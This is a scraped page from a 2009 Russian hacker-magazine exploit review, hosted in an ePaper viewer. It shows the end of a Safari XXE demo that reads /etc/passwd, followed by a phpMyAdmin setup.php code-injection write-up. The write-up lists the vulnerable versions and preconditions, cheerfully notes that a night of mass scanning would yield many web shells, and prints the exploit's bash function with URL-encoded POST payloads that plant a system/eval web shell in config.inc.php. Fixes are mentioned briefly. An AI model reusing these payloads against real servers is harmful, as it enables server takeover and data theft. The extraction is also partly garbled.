27.11.2014 Views

НЕСЛУЧАЙНО CUDA ИДЕМ? phpMyAdmin - Xakep Online

НЕСЛУЧАЙНО CUDA ИДЕМ? phpMyAdmin - Xakep Online

НЕСЛУЧАЙНО CUDA ИДЕМ? phpMyAdmin - Xakep Online

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

обзор<br />

эксплоитов<br />

обзор<br />

эксплоитов<br />

обзор<br />

эксплоитов<br />

>> взлом<br />

Below you should see the content of a local file, stolen by this evil web page.<br />

<br />

&ent;<br />

<br />

alert(document.body.innerHTML);<br />

<br />

<br />

<br />

<br />

<br />

Как видишь, лексема «&ent;» хранит в себе содержимое «/etc/passwd»,<br />

который магическим образом отобразится на экране. Если ты счастливый<br />

обладатель Safari, можешь пройти тест на вшивость по ссылкам https://<br />

cevans-app.appspot.com/static/safaristealfilebug.xml (MacOS) и https://<br />

cevans-app.appspot.com/static/safaristealfilebugwin.xml (Windows).<br />

>> SOLUTION<br />

Обновление до Safari 4.x решит все проблемы и устранит угрозы внешних<br />

нападений.<br />

02<br />

PHPMYADMIN (/SCRIPTS/SETUP.PHP)<br />

PHP CODE INJECTION EXPLOIT<br />

>> Brief<br />

Давно нас не баловали хорошими уязвимостями в популярных проектах.<br />

Сегодня я постараюсь это исправить: 4 июня багоискателям удалось обнаружить<br />

изъян в проекте <strong>phpMyAdmin</strong>, а именно — в генераторе настроечных<br />

файлов «/scripts/setup.php». Суть бага довольно проста: в процессе установки<br />

<strong>phpMyAdmin</strong> происходит генерация основных параметров (хоста<br />

mysql, логина, пароля, названия базы и т.п.) с последующим их сохранением<br />

в «/config/config.inc.php». Так вот, до недавнего времени разработчики<br />

довольно аккуратно фильтровали нежелательный контент, но в последних<br />

версиях чуть-чуть изменили алгоритм. В итоге, злоумышленник может<br />

передать ядовитые параметры, позволяющие записать произвольный код<br />

в конфигурационный файл. Затем, по обращению к этому конфигу, хакер<br />

получит полноценный Web-шелл. А теперь разберемся, как это происходит<br />

на самом деле. Вместе с прочими параметрами в значение переменной<br />

«host» инжектируется, к примеру, фраза «phpinfo();//localhost». На выходе<br />

получим вполне работоспособный сценарий, выводящий phpinfo().<br />

Помимо прочего, эксплойт позволяет внедрить «passthru()» для передачи<br />

команд Web-шеллу при помощи значения переменной «c».<br />

Но не думай, что все так просто. Эксплойт накладывает некоторые<br />

ограничения на <strong>phpMyAdmin</strong>. Во-первых, нужно, чтобы администратор<br />

устанавливал проект через мастера, а не вручную. Во-вторых,<br />

необходимо наличие файла «scripts/setup.php», который почему-то<br />

(интересно, почему? :)) любят удалять. В-третьих, директория «config/»<br />

также должна присутствовать, а на файл «config.inc.php» должен<br />

быть установлен атрибут записи. В-четвертых, на машине необходим<br />

работоспособный curl (с его помощью происходит инжектирование<br />

кода). И, наконец, уязвимыми версиями <strong>phpMyAdmin</strong> являются 2.11.x<br />

до 2.11.9.5 и 3.x до 3.1.3.1 (все релизы достаточно новые и выпускались<br />

до апреля этого года).<br />

Как итог, хакер может без труда написать автосканер phpMyadmin и<br />

эксплуатировать каждый хост. На мой взгляд, вероятность успехи атаки<br />

недалека от 30%, а при таких раскладах одна лишь ночь сканирования<br />

будет приносить взломщику море нелишних Web-шеллов.<br />

>> Exploit<br />

Ниже приводится ключевая функция exploit(), отвечающая за инжект<br />

вредоносного кода.<br />

function exploit {<br />

postdata="token=$1&action=save&configuration="\<br />

"a:1:{s:7:%22Servers%22%3ba:1:{i:0%3ba:6:{s:23:%22hos<br />

t%27]="\<br />

"%27%27%3b%20phpinfo%28%29%3b//%22%3bs:9:%22localhost<br />

%22%3bs:9:"\<br />

"%22extension%22%3bs:6:%22mysqli%22%3bs:12:%22connec<br />

t_type%22%3bs:3:"\<br />

"%22tcp%22%3bs:8:%22compress%22%3bb:0%3bs:9:%22aut<br />

h_type%22%3bs:6:"\<br />

"%22config%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}&<br />

eoltype=unix"<br />

postdata2="token=$1&action=save&configuration=a:1:"\<br />

"{s:7:%22Servers%22%3ba:1:{i:0%3ba:6:{s:136:%22host%2<br />

7%5d="\<br />

"%27%27%3b%20if(\$_GET%5b%27c%27%5d){echo%20<br />

%27%3cpre%3e%27%3b"\<br />

"system(\$_GET%5b%27c%27%5d)%3becho%20%27%3c/<br />

pre%3e%27%3b}"\<br />

"if(\$_GET%5b%27p%27%5d){echo%20<br />

%27%3cpre%3e%27%3beval"\<br />

"(\$_GET%5b%27p%27%5d)%3becho%20%27%3c/<br />

pre%3e%27%3b}%3b//"\<br />

"%22%3bs:9:%22localhost%22%3bs:9:%22extension%22%3bs:<br />

6:%22"\<br />

"mysqli%22%3bs:12:%22connect_type%22%3bs:3:%22tcp%22%<br />

3bs:8:"\<br />

"%22compress%22%3bb:0%3bs:9:%22auth_<br />

type%22%3bs:6:%22config"\<br />

"%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}&eoltype=<br />

unix"<br />

НАГЛЯДНАЯ ДЕМОНСТРАЦИЯ УЯЗВИМОСТИ ПОД WINDOWS<br />

ПОСЛЕ ДРАКИ КУЛАКАМИ НЕ МАШУТ :)<br />

XÀÊÅÐ 07 /127/ 09<br />

049

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!